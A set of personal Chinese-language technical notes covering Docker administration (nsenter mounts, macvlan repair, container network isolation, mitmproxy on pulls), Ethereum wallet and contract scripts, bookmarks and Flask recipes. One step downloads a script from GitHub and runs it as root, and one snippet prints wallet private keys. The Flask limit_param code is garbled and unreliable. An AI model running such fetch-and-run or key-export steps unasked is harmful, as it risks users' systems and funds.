mount挂载出来的/newdata ``` CONTAINER_NAME="app_container" DEVICE_NAME="/dev/sdb1" MOUNT_SRC="data" MOUNT_TARGET="/newdata" # Step1 x=$(grep $DEVICE_NAME /proc/self/mountinfo|cut -d ' ' -f 3) docker exec -it -u root $CONTAINER_NAME sh -c "[ -b $DEVICE_NAME ] || mknod -m 0600 $DEVICE_NAME b ${x/:/ }" sudo nsenter --target "$(docker inspect --format '{{.State.Pid}}' $CONTAINER_NAME)" --mount --uts --ipc --net --pid -- sh -c "mkdir -p /tmpmount;mount $DEVICE_NAME /tmpmount" # Step2 sudo nsenter --target "$(docker inspect --format '{{.State.Pid}}' $CONTAINER_NAME)" --mount --uts --ipc --net --pid -- sh -c "mkdir -p $MOUNT_TARGET; mount -o bind /tmpmount/$MOUNT_SRC $MOUNT_TARGET" # Step3 sudo nsenter --target "$(docker inspect --format '{{.State.Pid}}' $CONTAINER_NAME)" --mount --uts --ipc --net --pid -- sh -c "umount /tmpmount" ``` ---- ## Docker使用32位镜像 例如ubuntu16.04.5 32位镜像 从这里下载i386后缀的`ubuntu-base-16.04.5-base-i386.tar.gz`: http://cdimage.ubuntu.com/ubuntu-base/releases/16.04/release/ 下载了之后直接交给docker导入即可:[docker import 文档](https://docs.docker.com/engine/reference/commandline/import/#examples) ``` cat ubuntu-base-16.04.5-base-i386.tar.gz|docker import - ubuntu1604_32bit ``` ---- ## 找到/var/lib/docker中容器的数据存储目录 使用[docker-backup](https://github.com/vincepare/docker-backup): ``` curl -Lo /usr/local/bin/docker-backup https://raw.githubusercontent.com/vincepare/docker-backup/master/docker-backup.sh && chmod +x /usr/local/bin/docker-backup docker-backup ls -w container ``` 举个例子 Apache容器由于/tmp/httpd_lua_shm.1的存在跑不起来,试试直接删除容器内的这个文件 ``` for i in `d ps -a|grep Exit|grep minutes|awk '{print $1}'`; do rm `docker-backup ls -w $i`/tmp/httpd_lua_shm.1; d start $i ; done ``` ------ ## 搬运服务器后网段变化 直接修改Docker底层数据库和配置文件修复macvlan网络 需求:服务器机房搬迁,从10.214.10.x变为10.214.160.x,配置的macvlan容器就不能访问了 Docker没有提供修改网络配置的方法,我们就直接改Docker的数据库和配置文件呗 不这样直接改底层文件也是可以的,需要先disconnect旧的macvlan所有容器,然后删掉重建这个network,再一个个加回来 网络配置的数据库在`/var/lib/docker/network/files/local-kv.db`,本质上是boltdb,需要使用docker的[libkv](https://github.com/docker/libkv)来进行访问 注意到ip前缀的长度发生了变化,直接sed是不行的,会损坏数据库(如果长度没变可以直接sed),操作前记得备份 参考 https://blog.qiqitori.com/?p=463 加以修改,需要在`docker pull golang:1.8`中编译运行 ``` package main import ( "time" "log" "strings" "github.com/docker/libkv" "github.com/docker/libkv/store" "github.com/docker/libkv/store/boltdb" ) func init() { // Register boltdb store to libkv boltdb.Register() } func main() { client := "./local-kv.db" // ./ appears to be necessary // Initialize a new store kv, err := libkv.NewStore( store.BOLTDB, // or "boltdb" []string{client}, &store.Config{ Bucket: "libnetwork", ConnectionTimeout: 10*time.Second, }, ) if err != nil { log.Fatalf("Cannot create store: %v", err) } pair, err := kv.List("docker/network") for _, p := range pair { println("key:", string(p.Key)) val := strings.Replace(string(p.Value), "10.214.10.", "10.214.160.", -1) println("value:", val) err = kv.Put(p.Key, []byte(val), nil) } } ``` 其中需要注意golang1.8的strings没有ReplaceAll方法;string转bytes数组用`[]byte(...)`即可;`println`不是fmt库的,是往stderr输出的 除了网络数据库还需要修改容器的.json配置文件:`/var/lib/docker/containers/*/*.json` ``` sed -i 's/10.214.10./10.214.160./g' /var/lib/docker/containers/*/*.json ``` 然后就能启动docker了,如果有容器的当前ip已经被其他设备占用,可以通过脱离网络再加入来修改ip ``` docker network disconnect macvlan_name container_name docker network connect macvlan_name container_name --ip 新的ip ``` 如果新的ip还是ping不了,试试重启容器 ## 获取2个月前退出的容器列表,以空格分隔 ``` docker ps -a --format '{{.Names}} {{.Status}}'|grep "2 month"|awk '{print $1}'|tr '\r\n' ' ' ``` ## 容器内没有ping, ip?直接nsenter进去看看 ``` netin(){ nsenter --target `docker inspect --format '{{.State.Pid}}' $1` --net --pid /bin/bash } ``` 这是进入docker容器的namespace,但只切换网络和/proc,文件系统等还是使用主机的 进入后bash似乎没变,这时可以ps看看进程列表变了就说明在容器里面了,然后可以愉快地ifconfig和ping了 也可以使用ip命令指定netns的方式`ip netns exec 名称 命令` ``` #!/bin/bash NAME="container name" mkdir -p /var/run/netns ID=`docker inspect --format='{{ .State.Pid }}' $NAME` sudo ln -sf "/proc/$ID/ns/net" /var/run/netns/$NAME exec sudo ip netns exec $NAME "$@" ``` ## 为macvlan的容器配置只允许IP段访问 将容器暴露在整个内网还是不够安全,不如使用iptables只允许特定IP段访问这个容器的IP 按上述操作之后,假设容器名称为name,那么我们可以先建立一个alias来快速iptables: 参考: https://unix.stackexchange.com/questions/11851/iptables-allow-certain-ips-and-block-all-other-connection ``` alias i="sudo ip netns exec name iptables" i -P FORWARD DROP # we aren't a router i -A INPUT -m state --state INVALID -j DROP i -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT i -A INPUT -i lo -j ACCEPT i -A INPUT -s 10.0.0.1/24 -j ACCEPT i -A INPUT -s 172.19.0.1/24 -j ACCEPT i -P INPUT DROP # Drop everything we don't accept ``` 效果就是只有内网10.0.0.1-10.0.0.254的ip才能访问这个容器的IP,其他来源都不能ping通这个容器 下面的bash脚本会自动对容器的所有IP段允许访问,并拒绝其他访问: 其中的docker inspect命令可以获取容器拥有的所有IP ``` #!/bin/bash set -ex DOCKERNAME="xxx" NAME="xx" shopt -s expand_aliases sudo mkdir -p /var/run/netns ID=`docker inspect --format='{{ .State.Pid }}' ${DOCKERNAME}` sudo ln -sf "/proc/$ID/ns/net" /var/run/netns/${NAME} alias i="sudo ip netns exec ${NAME} iptables" i -F i -P FORWARD DROP # we aren't a router i -A INPUT -m state --state INVALID -j DROP i -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT i -A INPUT -i lo -j ACCEPT docker inspect --format='{{range .NetworkSettings.Networks}}{{.IPAddress}}{{"\n"}}{{end}}' ${DOCKERNAME}|xargs -i sudo ip netns exec ${NAME} iptables -A INPUT -s '{}/24' -j ACCEPT i -P INPUT DROP # Drop everything we don't accept ``` ## 从/var/lib/docker提取容器开始时间 读取/var/lib/docker/containers/*/config.v2.json可以读到容器开始时间 但使用同一个文件夹下hostname这个文件的时间戳更可靠,无需考虑时区换算不同服务器时间不同步等问题。计算文件产生的相对时间用os.path.getmtime(这个文件)减去这个时间戳即可。 导入到mysql 完整代码: 执行的时候需要server name作为参数 ``` from bugid import runsql import os,sys,glob,json import datetime import re server = sys.argv[1] os.chdir("/var/lib/docker/containers") sql = "replace into dockers(server, name, id, starttime, runningtime, memlimit) values " sqlpending = [] t = 0 for i in glob.glob("*/"): if not os.path.exists(i+"hostname"): #print(i) continue data = json.loads(open(i+"config.v2.json").read()) name = data["Name"] starttime = data["State"]["StartedAt"] endtime = data["State"]["FinishedAt"] if endtime != "0001-01-01T00:00:00Z": runningtime = (datetime.datetime.strptime(endtime.split(".")[0], "%Y-%m-%dT%H:%M:%S") - datetime.datetime.strptime(starttime.split(".")[0], "%Y-%m-%dT%H:%M:%S")).total_seconds() else: runningtime = -1 memlimit = int(json.load(open(i+"hostconfig.json"))["Memory"]/1024/1024) sqlpending.extend([server, name[1:], i[:-1], int(os.path.getmtime(i+"hostname")), runningtime, memlimit]) sql += "(%s, %s, %s, %s, %s, %s)," #print(sqlpending) runsql(sql[:-1], *sqlpending) ``` ## 固定容器的IP 参考: https://github.com/johnnian/Blog/issues/16 默认的bridge网络不支持指定ip,需要再创建一个网络: ``` docker network create --subnet=172.18.0.0/16 b ``` 创建容器的时候可以`--network b --ip 172.18.0.2` 已经存在的容器需要用: ``` docker network connect --ip 172.18.0.2 --alias ${name} b ${name} ``` 不想改动docker的network还有个临时的办法: ## 获取容器IP 更新主机/etc/hosts 需要先将当前的hosts文件复制为/etc/hosts.base 其中bridge可能需要改成docker inspect输出的其他network名称 ``` #!/bin/bash if [[ $EUID -ne 0 ]]; then echo "This script must be run as root" exit 1 fi cp /etc/hosts.base /etc/hosts echo `docker inspect ${name} --format '{{.NetworkSettings.Networks.bridge.IPAddress}}'` ${name} >> /etc/hosts ``` 另外 你还可以启动个dns服务的容器来解析容器hostname: https://stackoverflow.com/questions/37242217/access-docker-container-from-host-using-containers-name/45071126#45071126 ----- ## Docker容器禁止主动联网 但对外提供web服务 @TAG 端口映射 ctf 首先排除`--network none`,这样没有网卡怎么做端口映射 下面假设容器名称为`${CONTAINER}`,容器启动的http服务端口为5000 ### 简单方案 直接删除默认路由 ``` nsenter --target `docker inspect --format '{{.State.Pid}}' ${CONTAINER}` --net --pid route delete default ``` 好处在于访问网络的请求能迅速报错`Network is unreachable`,也不需要额外的容器参数配置 但容器每次重启都需要重新执行 ### 复杂方案 创建个内部网络 Nginx转发 docker的创建网络提供了`--internal`参数,意思是不允许这个网络访问外界,但是访问网络的请求不会立刻返回,效果像是一直丢包就没响应 这里我们创建一个名为`${CONTAINER}_nonet`的网络,启动容器的时候指定这个网络并配置别名app 然后还需要Nginx容器同时加入默认网络和这个网络来进行转发,Nginx容器一开始创建后的启动会报错反复重启(无法解析app),加入网络后即可正常启动 ``` docker network create ${CONTAINER}_nonet --internal docker run --network ${CONTAINER}_nonet --network-alias app ... docker run --name ${CONTAINER}_nginx -d -v `pwd`/nginxconf:/etc/nginx/conf.d -p 20528:80 --restart=always nginx docker network connect ${CONTAINER}_nonet ${CONTAINER}_nginx --alias nginx ``` 其中nginxconf文件夹里放一个default.conf: ``` server { listen 80; server_name localhost; location / { proxy_pass http://app:5000; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } } ``` 既然用了反向代理,应用层也需要配置一下IP相关的修复才能使日志显示访问者ip(而不是Nginx容器的IP),比如Flask 1.0需要: ``` from werkzeug.middleware.proxy_fix import ProxyFix app.wsgi_app = ProxyFix(app.wsgi_app) ``` 这个方案有点复杂,但好处在于重启容器不需要额外配置,反正连不上网 坏处在于访问网络的请求会一直卡住,应用层需要自己考虑超时 你可以把这两种方案结合起来,即使忘了删默认路由也能保证不能联网 ## 私有registry的api 文档: https://docs.docker.com/registry/spec/api/ 列出所有镜像: `/v2/_catalog` 列出指定镜像的所有标签: `/v2//tags/list` ------ ## 配置docker pull使用代理 官方文档: [https://docs.docker.com/config/daemon/systemd/#httphttps-proxy](https://docs.docker.com/config/daemon/systemd/#httphttps-proxy) ``` mkdir -p /etc/systemd/system/docker.service.d vi /etc/systemd/system/docker.service.d/http-proxy.conf systemctl daemon-reload systemctl restart docker systemctl show --property=Environment docker ``` ``` [Service] Environment="HTTP_PROXY=http://proxy.example.com:80" Environment="HTTPS_PROXY=https://proxy.example.com:443" Environment="NO_PROXY=localhost,127.0.0.1,docker-registry.example.com,.corp" ``` ----- ## 配置docker daemon退出时不自动关闭容器 参考: [https://docs.docker.com/config/containers/live-restore/](https://docs.docker.com/config/containers/live-restore/) ``` # vi /etc/docker/daemon.json { "live-restore": true } # systemctl reload docker ``` ## 使用mitmproxy观察docker pull流量 ``` wget https://downloads.mitmproxy.org/10.4.2/mitmproxy-10.4.2-linux-x86_64.tar.gz tar xvf mitmproxy-10.4.2-linux-x86_64.tar.gz ./mitmweb -p 8441 --no-web-open-browser --web-port 18441 --web-host 0.0.0.0 --set block_global=false cp ~/.mitmproxy/mitmproxy-ca-cert.cer /usr/share/ca-certificates/extra echo "extra/mitmproxy-ca-cert.cer" >> /etc/ca-certificates.conf update-ca-certificates vi /etc/systemd/system/docker.service.d/http-proxy.conf systemctl daemon-reload systemctl restart docker ``` `http-proxy.conf` 文件内容 ``` [Service] Environment="HTTP_PROXY=http://127.0.0.1:8441" Environment="HTTPS_PROXY=http://127.0.0.1:8441" ``` 然后打开 `http://IP:18441` , 执行 docker pull 命令即可 ================================================ FILE: ETH.md ================================================ ## ETH 学习一下以太坊,目前可以在区块链上刻字了,每个交易可以存储30K的内容 ## 获取测试网络ropsten的ETH 目前的faucet列表,不过有可能他们工作在fork上,获得的eth不能在etherscan上看到 > 近期以太坊Ropsten测试网的Istanbul升级由于大部分算力没有升级节点软件,实际上已经发生了分叉 - https://faucet.ropsten.be - https://faucet.metamask.io - http://faucet.bitfwd.xyz ## 生成一堆与MetaMask兼容的地址 MetaMask等钱包的工作原理是从一串seed phrase生成一系列私钥 使用[lightwallet](https://github.com/ConsenSys/eth-lightwallet)这个npm包来生成MetaMask兼容的1000个地址 ``` # 需要使用版本2,更新的版本修改了API需要提供salt $ npm install eth-lightwallet@2.5.6 # 修改node_modules\_bitcore-lib@8.14.4@bitcore-lib\index.js添加一个return # bitcore.versionGuard = function(version) {return; var lightwallet = require("eth-lightwallet"); var secretSeed = 从metamask复制 var password = 随意设置一个密码,在内存中存储的是使用这个密码加密后的私钥 var hdPathString = "m/44'/60'/0'/0"; var ks; lightwallet.keystore.deriveKeyFromPassword(password, function (err, pwDerivedKey) { ks = new lightwallet.keystore(secretSeed, pwDerivedKey, hdPathString); //console.log(ks); ks.generateNewAddress(pwDerivedKey, 1000, hdPathString); for(var i of ks.getAddresses(hdPathString)){ console.log(i, ks.exportPrivateKey(i, pwDerivedKey, hdPathString)); } }) ``` ## Python发起交易(Web3.py) pip3 install web3,需要python3.7 ([在Ubuntu16.04上安装Python 3.7](https://py3.io/Python/#ubuntu1604python37)) 在infura.io注册,得到一个project id,设置为环境变量WEB3_INFURA_PROJECT_ID ``` import os os.environ["WEB3_INFURA_PROJECT_ID"]="从infura.io复制" from web3.auto.infura.ropsten import w3 from base64 import b16encode def senddata(privatekey, data, to=None, nonce=None): addr = w3.eth.account.privateKeyToAccount(privatekey).address if not to: to = addr if not to.startswith("0x"): to = "0x"+to if len(data)>30*1024: raise Exception("data too big") if nonce is None: nonce=w3.eth.getTransactionCount(addr) tx=dict(nonce=nonce, gasPrice=2000000000, gas=5940000, to=to, value=0, data=data) stx=w3.eth.account.sign_transaction(tx, privatekey) return b16encode(w3.eth.sendRawTransaction(stx.rawTransaction)).decode().lower() ``` ## 地址交易查询API 注意etherscan.io使用了cloudflare,必须设置一个User-Agent才能调用 目前还不需要apikey就能直接调用 ``` import requests def gettx(addr): return requests.get("https://api-ropsten.etherscan.io/api?module=account&action=txlist&address="+addr+"&startblock=0&endblock=99999999&sort=asc&apikey=YourApiKeyToken", headers={"User-Agent":"ethquery"}).json()["result"] ``` 返回的数组可能每个交易都重复了两次,需要去重: ``` seenhash = [] for tx in gettx(addr): if len(tx["input"])>2 and tx["hash"] not in seenhash: # 处理tx["input"] seenhash.append(tx["hash"]) ``` ## 时间戳转block id 有些时候我们需要知道特定时间点的区块高度,来查询当时的合约数据 不依赖etherscan的方法可以按照当前区块高度、已经流逝的时间和[出块速度](https://etherscan.io/chart/blocktime)进行计算,算出来的blockid再调用web3 API查询timestamp再次计算,直到误差小于阈值即可 etherscan提供了这个API: https://etherscan.io/apis#blocks ``` cache={} apikey="" def timestamp2blockid(ts, retry=3): cachekey = "timestamp2blockid_"+str(ts) if cachekey in cache: #print("cache used") return cache[cachekey] x = sess.get("https://api.etherscan.io/api?module=block&action=getblocknobytime×tamp="+str(ts)+"&closest=before&apikey="+apikey) #print(x.json()) if 'result' not in x.json(): if retry: print("[retry] timestamp2blockid", ts) return timestamp2blockid(ts, retry=retry-1) else: print(x.json()) res = x.json()["result"] cache[cachekey] = res return res ``` ## 根据函数名调用合约 标记了view的函数可以直接在etherscan读取合约调用,但有些函数不会涉及写操作,我们也可以自己调用而不用发起链上交易(即使交易也拿不到返回值) 首先我们需要了解eth_call的data 前4个字节就是函数签名的哈希,哈希算法是keccak_sha3取前4个字节 这东西叫做ABI, 文档: [https://solidity.readthedocs.io/en/v0.5.3/abi-spec.html](https://solidity.readthedocs.io/en/v0.5.3/abi-spec.html) 例如balanceOf函数只接受一个地址作为参数,它的签名就是`balanceOf(address)`,哈希是`70a08231`,你可以观察metamask后台发送的流量就可以确认这一点 使用Python不依赖web3计算这个哈希: 你可能需要`python3 -m pip install pycryptodome` ``` from Crypto.Hash import keccak def function_hash(func_str): return keccak.new(digest_bits=256).update(func_str.encode("utf-8")).hexdigest()[:8] ``` 有了函数哈希后 再拼接函数调用参数就能发起eth_call了,比如我们需要把地址在左边补0补齐到64字节(也就是256bit) ``` import requests sess = requests.session() sess.headers.update({"Content-Type":"application/json"}) WEB3_ENDPOINT = "" #change to your infura.io project url def addrtoarg(addr): return addr.lower().rjust(64, "0") cache={} def callfunction(addr, func_str, args_str, blockid, returnint=True, usecache=False): cachekey = "_".join(("callfunction", addr, func_str, args_str, str(blockid))) try: height = hex(int(blockid)) except: height = blockid if usecache and cachekey in cache and blockid!="latest": res = cache[cachekey] else: data = { "id":1, "jsonrpc":"2.0", "method":"eth_call", "params":[{"data": "0x"+function_hash(func_str)+args_str, "to": addr,}, height] } x = sess.post(WEB3_ENDPOINT, json=data) print(x.json()) res = x.json()["result"] if usecache: cache[cachekey] = res if not returnint: return res else: return int(res, 16) ``` 其中WEB3_ENDPOINT可以是infura自己注册一个APIKEY后得到的地址 要获取最新的数据还需要知道当前的区块高度: ``` def eth_blockNumber(): return int(sess.post(WEB3_ENDPOINT, data='{"id":1,"jsonrpc":"2.0","method":"eth_blockNumber","params":[]}').json()["result"], 16) ``` 调用很简单:`mybalance = callfunction(contract_address, "balanceOfUnderlying(address)", addrtoarg(my_address), eth_blockNumber())` ### 更复杂的参数类型 对于string这种可变长度类型,还是使用python包`eth-abi`吧,例如: NFT-Hero里随机数用的blockhashMgr到底是什么合约呢: https://github.com/nfthero/SuperHero/blob/c87346f36efb09667ad8f0eeaf8df04a710bbecd/Package.sol#L87 就想要查询一下members这个字典,其类型是`mapping(string => address) public members`,也就意味着可以调用`members(string)`这个函数进行查询: ``` >>> callfunction("https://http-mainnet-node.huobichain.com/", "0x42C1aC2AeAEc52E1cc9dC8057b089FA91fa84FC7", "members(string)", base64.b16encode(eth_abi.encode_abi(["string"], ["blockhashMgr"])).decode().lower(), "latest", False) '0x0000000000000000000000003e259bfe720093abb26a2c3fe57670259b2ebea2' ``` ----- ## 实例:获取Cake持仓价值 !!! warning 风险警示 本文不作为投资建议,本项目合约代码2020/11/05也出过[漏洞导致挖矿奖励代币超发](https://www.cailu.net/article/13144343855663958.html) 币安智能链上有个抄了Uniswap的[pancakeswap](https://pancakeswap.finance/pools), 网页上当前(2021/01/06)显示质押CAKE的年化228%,那当然是尝试一下咯,于是自然有了需求:计算自己持仓CAKE的实时价值,持仓包含质押奖励的部分 那么实现这个需求就需要解决两个问题:如何获取自己的CAKE奖励数量,如何获取CAKE的价格信息 第一个问题好解决,按照上面调用合约即可,合约调用需要两个参数,即使不知道函数选择器和函数参数怎么写,也可以让etherscan来帮我们调用[合约](https://bscscan.com/address/0x73feaa1ee314f8c655e354234017be2193c9e24e#readContract) 看流量即可 ``` WEB3_ENDPOINT='https://bsc-dataseed.binance.org/' callfunction(contract_address, "pendingCake(uint256,address)", "0"*64+addrtoarg(my_address), "latest", usecache=False)/10**18 ``` 第二个问题:获取CAKE的价值 可以在[pancakeswap.info的token页面](https://pancakeswap.info/token/0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82)看到 当前CAKE的价值显示为$0.64 通过仔细翻流量+F12看前端js+学GraphQL的写法,发现这个图查询可以一次返回两个内容: [https://api.bscgraph.org/subgraphs/name/wowswap/graphql](https://api.bscgraph.org/subgraphs/name/wowswap/graphql) ``` { tokens(where: {id: "0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82"}) { id name symbol derivedETH tradeVolume tradeVolumeUSD untrackedVolumeUSD totalLiquidity txCount __typename } bundles(where: {id: 1}) { id ethPrice __typename } } ``` 查询到: ``` { "data": { "bundles": [ { "__typename": "Bundle", "ethPrice": "40.4164616943543110107673755202366", "id": "1" } ], "tokens": [ { "__typename": "Token", "derivedETH": "0.01577253120396104706816941010842497", "id": "0x0e09fabb73bd3ade0a17ecc321fd13a19e81ce82", "name": "PancakeSwap Token", "symbol": "Cake", "totalLiquidity": "17457173.064252540875767782", "tradeVolume": "529331425.317628506590140745", "tradeVolumeUSD": "270335080.4687124727090581348114777", "txCount": "659265", "untrackedVolumeUSD": "331587403.3835248774831009549837749" } ] } } ``` 将其中的`ethPrice`(实际上是BNB的价格)和`derivedETH`乘起来就是我们需要的价格了,算出来是`$0.6375` 通用一点还需要调用合约`userInfo(uint256,address)`查询自己的持仓,最后合在一起: ``` (自己的持仓+pendingpendingCake)*derivedETH*ethPrice ``` ----- ## erigon 导出所有合约地址 这样来导出codehash表: ``` /tank/erigon/build/bin/mdbx_dump -s PlainCodeHash /tank/eth/chaindata/ | gzip > plaincodehash.txt.gz ``` 然后这样处理得到根据codehash去重后的地址列表: ``` import gzip oldaddr=None codehash=None seen=set() for line in gzip.open("plaincodehash.txt.gz", "rt"): if len(line)==58: addr = line[1:41] if addr!=oldaddr: if oldaddr and codehash not in seen: seen.add(codehash) print(oldaddr) oldaddr=addr elif len(line)==66: codehash = line[1:65] if codehash not in seen: print(oldaddr) ``` ================================================ FILE: Favorites.md ================================================ # Favorites 收藏 收藏一些有用的资料咯~ [Intel i386 手册](http://microsym.com/editor/assets/386intel.pdf) [i386 手册勘误](https://nju-ics.gitbooks.io/ics2015-programming-assignment/content/i386-typo.html) [字符签名生成](http://www.kammerl.de/ascii/AsciiSignature.php) 例如lean字体: ``` _/_/ _/_/ _/_/ _/ _/ _/ _/ _/ _/ _/_/_/_/ _/_/_/_/ _/_/_/_/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ _/ ``` [解释Shell命令每个参数](http://www.explainshell.com/) [安全会议的排名](http://faculty.cs.tamu.edu/guofei/sec_conf_stat.htm) [建议读的论文](https://d.py3.io/Recommend%2Bpapers.docx) [Git Emoji](https://www.webpagefx.com/tools/emoji-cheat-sheet/) [Math 识别手写公式 画函数图像](https://webdemo.myscript.com/views/math.html) [安全文摘 每天看看](http://wiki.ioin.in/) [网站配色](https://www.webdesignrankings.com/resources/lolcolors/) ================================================ FILE: Flask.md ================================================ # Flask 备忘 常用的一些操作,自己总结的,便于查阅 ## 应用根目录APP_ROOT ``` APP_ROOT = os.path.dirname(os.path.abspath(__file__)) ``` ## app.route里的int和POST ``` @app.route("/list/") @app.route("/receive_post", methods=["POST"]) post_param = int(request.form.get("post_param","0")) # get参数用request.args ``` ## render_template引入所有全局变量+局部变量 ``` str = str len = len int = int @app.route("/") def index(): # ... some logic code targs = globals() targs.update(locals()) return render_template("template.html", **targs) ``` ## 添加多个静态目录 ``` from flask import Flask, render_template, Blueprint, request, redirect app = Flask(__name__) for path in ['images', 'pic', 'css']: blueprint = Blueprint(path, __name__, static_url_path='/'+path, static_folder=path) app.register_blueprint(blueprint) ``` ## 判断是否手机访问 g.isphone ``` @app.before_request def before_request(): ua = request.user_agent.string.lower() for mobileua in "android|fennec|iemobile|iphone|opera mini|opera mobi|mobile".split("|"): if mobileua in ua: g.isphone = True break else: g.isphone = False ``` ## 限制特定get整数参数的取值 ``` def limit_param(param_name, default_value, minvalue, maxvalue): """ example: p = limit_param("p", 1, 1, 5) """ if maxvalue maxvalue: data = maxvalue return data ``` ## 要求登录的decorator 用法: `@require_login()` 注意使用时添加到`@app.route`行的后面 ``` import functools from flask import session, abort, redirect def require_login(code=200, text="login first", jumptologin=False): def real_decorator(func): @functools.wraps(func) def wrapper(*args,**kwargs): if "username" not in session: if jumptologin: return redirect("/signin?error=needlogin&next="+signit(request.path)) elif code==200: return text else: abort(code) else: return func(*args, **kwargs) return wrapper return real_decorator ``` ## import引入列表 ``` from flask import Flask, render_template, Blueprint, request, redirect, Markup, g, session, abort, Response, make_response, send_file, jsonify from werkzeug.utils import secure_filename import time import datetime import random import pickle import requests import os import sys import traceback import mimetypes import string import re import hashlib import json ``` ## request怎么拿到url的各个部分 来自https://stackoverflow.com/questions/15974730/how-do-i-get-the-different-parts-of-a-flask-requests-url request: `curl -XGET http://127.0.0.1:5000/alert/dingding/test?x=y` then: ``` request.method: GET request.url: http://127.0.0.1:5000/alert/dingding/test?x=y request.base_url: http://127.0.0.1:5000/alert/dingding/test request.url_charset: utf-8 request.url_root: http://127.0.0.1:5000/ str(request.url_rule): /alert/dingding/test request.host_url: http://127.0.0.1:5000/ request.host: 127.0.0.1:5000 request.script_root: request.path: /alert/dingding/test request.full_path: /alert/dingding/test?x=y request.args: ImmutableMultiDict([('x', 'y')]) request.args.get('x'): y ``` ## request其他的部分 ``` request.get_data() POST内容 bytes类型 request.endpoint 处理这个请求的函数名称 ``` ---- ## 遇到性能瓶颈做profiling看函数耗时 找到对uwsgi应用做profiling的[dozer](https://mg.pov.lt/blog/profiling-with-dozer.html)库 使用方法: 1. 先安装python3对应的uwsgi:`apt install uwsgi-plugin-python3` 2. 写一个python脚本包装app,如`profiler_app.py`: ``` #!/usr/bin/python3 from app import app from dozer import Profiler appx = Profiler(app, profile_path="/tmp/profiles") if __name__ == "__main__": import os os.system("uwsgi -w profiler_app:appx --http :80") ``` 3. 别忘记`mkdir /tmp/profiles` 然后就可以启动了`python3 profiler_app.py` 4. 使用http://127.0.0.1/_profiler/ 查看结果,可以点开每个请求看各个函数耗时详情 ---- ## lazyload 延迟加载耗时的初始化操作 需求:特定页面需要加载一些耗时的资源,如果在应用启动的时候做加载,此时新来的请求就必须等待这个加载才能完成;而实际上这个init并非所有请求都必须的,想做一个lazyinit: 在不影响正常请求的前提下尽快完成init函数 我的做法:设计一个`/lazyinit`路由函数做初始化工作,在重新部署/重启flask服务的时候同时启动一个简单的python脚本反复请求这个url直到所有的进程都已经触发 这样利用uwsgi自身就有的多进程负载均衡,每次最多只会有一个进程做初始化工作,其他进程可以正常处理请求;坏处就是在日志里面产生一些垃圾吧,影响不大 问题来了 uwsgi怎么知道当前是哪个进程呢 我发现threading提供的进程名称是字符串`b'uWSGIWorker2Core2'`,其中`Worker`后面的数字就是进程ID 不同进程ID的全局变量是不同的 代码: flask中的`/lazyinit`实现,返回处理当前请求的worker id: ``` import threading def get_workerid(): # return uwsgi worker id: int threadname = threading.current_thread().name id_str = threadname.lower().split("worker")[1].split("core")[0] return int(id_str) HAS_INITED = False @app.route("/lazyinit") def lazyinit(): workerid = get_workerid() if not HAS_INITED: # skip init if has already initialized sleep(1) # do real init code... HAS_INITED = True return str(workerid) ``` 这是反复请求的代码,重复请求最多100次,直到所有4个进程都已经触发,其中uwsgi的workerid是从1开始计数的 ``` MAX_TRIES = 100 PROCESS_COUNT = 4 import requests i = 0 status = [False]*PROCESS_COUNT for i in range(MAX_TRIES): id = requests.get("http://127.0.0.1/lazyinit?id="+str(i)).text id = int(id) - 1 status[id] = True if all(status): break ``` ## 让app.run启动的服务器使用HTTP/1.1 就是这个问题: https://www.reddit.com/r/flask/comments/634i5u/make_flask_return_header_response_with_http11/ 人家认为Flask不支持,其实flask使用的是`werkzeug.serving`,最底层还是BaseHTTPRequestHandler,而这个是支持HTTP/1.1的,只是默认HTTP/1.0而已 实际发送请求`HTTP/1.1 200 OK`是这个类的`send_response`函数,用到`protocol_version`这个属性,而这个属性是类的属性(不是在`__init__`函数赋值的),所以我们可以直接修改 之后创建的对象就会自动拥有新的值 在调用之前添加以下几行即可 ``` try: from http.server import BaseHTTPRequestHandler except: #PY2 from BaseHTTPServer import BaseHTTPRequestHandler BaseHTTPRequestHandler.protocol_version = "HTTP/1.1" ``` ## 让render_template直接能使用当前所有变量 一种直接的做法:注意顺序 局部变量优先于全局变量 ``` targs = globals() targs.update(locals()) render_template("x.html", **targs) ``` 然而这样需要每个视图函数都写这三行,不够优雅 不如试试:获取调用者的局部变量 https://stackoverflow.com/questions/6618795/get-locals-from-calling-namespace-in-python ``` import inspect def myrender_template(filename): backframe = inspect.currentframe().f_back targs = {} targs.update(backframe.f_globals) targs.update(backframe.f_locals) return render_template(filename, **targs) ``` ------ ## 在Flask中正确地产生流式响应EventSource 考虑我们需要向前端提供消息队列的消费者,比如收到广播后发给浏览器通知用户。当然我们可以用websocket,但这种场景(只有服务器给浏览器发)下只需要长连接的EventSource就行了。 基础篇: https://stackoverflow.com/questions/12232304/how-to-implement-server-push-in-flask-framework ``` def queue_consumer(): conn = 创建连接() #连接到消息队列,创建 channel for data in conn.读取数据(): yield b"data: "+data+b"\n\n" 关闭连接() # 怎么执行到? @app.route("/stream") def stream(): return Response(queue_consumer(), mimetype="text/event-stream") ``` 这个的问题在于关闭连接不会执行到,在消息队列服务器上观察到channel一直没有释放,这肯定不行,我们需要在浏览器断开连接的时候自动释放conn等资源。 读了 werkzeug 的源代码发现 Response 有 call_on_close 函数,在连接关闭的时候我们把生成器close即可触发yield的异常: ``` def queue_consumer(): conn = 创建连接() #连接到消息队列,创建 channel try: for data in conn.读取数据(): yield b"data: "+data+b"\n\n" #结束的时候会触发GeneratorExit异常 except: pass 关闭连接() @app.route("/stream") def stream(): consumer = queue_consumer() res = Response(consumer, mimetype="text/event-stream") def onclose(): consumer.close() res.call_on_close(onclose) return res ``` 这样还不够,发现无法使用g,以及Nginx默认缓存响应导致延迟,需要继续配置: ``` def queue_consumer(): conn = 创建连接() #连接到消息队列,创建 channel try: for data in conn.读取数据(): yield b"data: "+data+b"\n\n" #结束的时候会触发GeneratorExit异常 except: pass 关闭连接() @app.route("/stream") def stream(): consumer = queue_consumer() res = Response(stream_with_context(consumer), mimetype="text/event-stream") def onclose(): consumer.close() res.call_on_close(onclose) res.headers["X-Accel-Buffering"] = "no" res.headers["Cache-Control"] = "no-cache" return res ``` 这些Nginx配置你也可能需要加上:尤其是还有下一层反代的时候 ``` uwsgi_pass_header "X-Accel-Buffering"; uwsgi_read_timeout 120s; 